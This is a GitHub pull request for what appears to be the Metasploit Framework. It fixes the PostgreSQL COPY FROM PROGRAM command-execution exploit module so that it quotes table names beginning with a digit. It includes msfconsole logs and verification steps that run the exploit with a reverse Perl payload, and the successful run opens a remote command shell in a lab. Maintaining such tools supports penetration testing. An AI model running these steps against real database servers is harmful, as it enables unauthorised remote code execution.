-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
postgres_copy_from_program_cmd_exec: Quote table name #16408
postgres_copy_from_program_cmd_exec: Quote table name #16408
Conversation
In about 16% of all cases the random value of "tablename" will be set to a value starting with a number, which needs to be quoted before the query is sent to the postgres server. Otherwise the query fails with the message "Exploit failed". This is what happened to me, you can see an example with a table name set manually here: msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec [*] Using configured payload cmd/unix/reverse_perl msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2 RHOSTS => 192.168.2.2 msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test tablename => 123test [...] msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run [*] Started reverse TCP handler on 192.168.2.1:4444· [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...] [*] 192.168.2.2:5432 - Exploiting... [!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test; [-] 192.168.2.2:5432 - Exploit Failed This can be verified manually as follows, quoting the table name works: $ psql --user postgres -W -h 192.168.2.2 template1 [...] template1=# DROP TABLE IF EXISTS 123test; ERROR: syntax error at or near "123" LINE 1: DROP TABLE IF EXISTS 123test; ^ template1=# DROP TABLE IF EXISTS "123test"; NOTICE: table "123test" does not exist, skipping DROP TABLE With the patch, the script also works with table names which start with numbers: msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run [*] Started reverse TCP handler on 192.168.2.1:4444 [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...] [*] 192.168.2.2:5432 - Exploiting... [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command) [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned) [*] 192.168.2.2:5432 - Exploit Succeeded [*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100
Running postgres on the host with docker:
BeforeBroken without a clear reason why
Behind the scenes, the postgres logs show why it failed:
AfterAfter a reload to bring in the pull request's fixes, it works as expected:
|
Release NotesFixes an edgecase with the |
@rtpt-alexanderneumann Thanks for the fix! 👍 |
Thanks for the quick response and merging it! :) |
In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:
This can be verified manually as follows, quoting the table name works:
With the patch, the script also works with table names which start with
numbers:
Verification
List the steps needed to make sure this thing works
msfconsole
use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
set RHOSTS 192.168.2.2
set tablename 123test
Exploit failed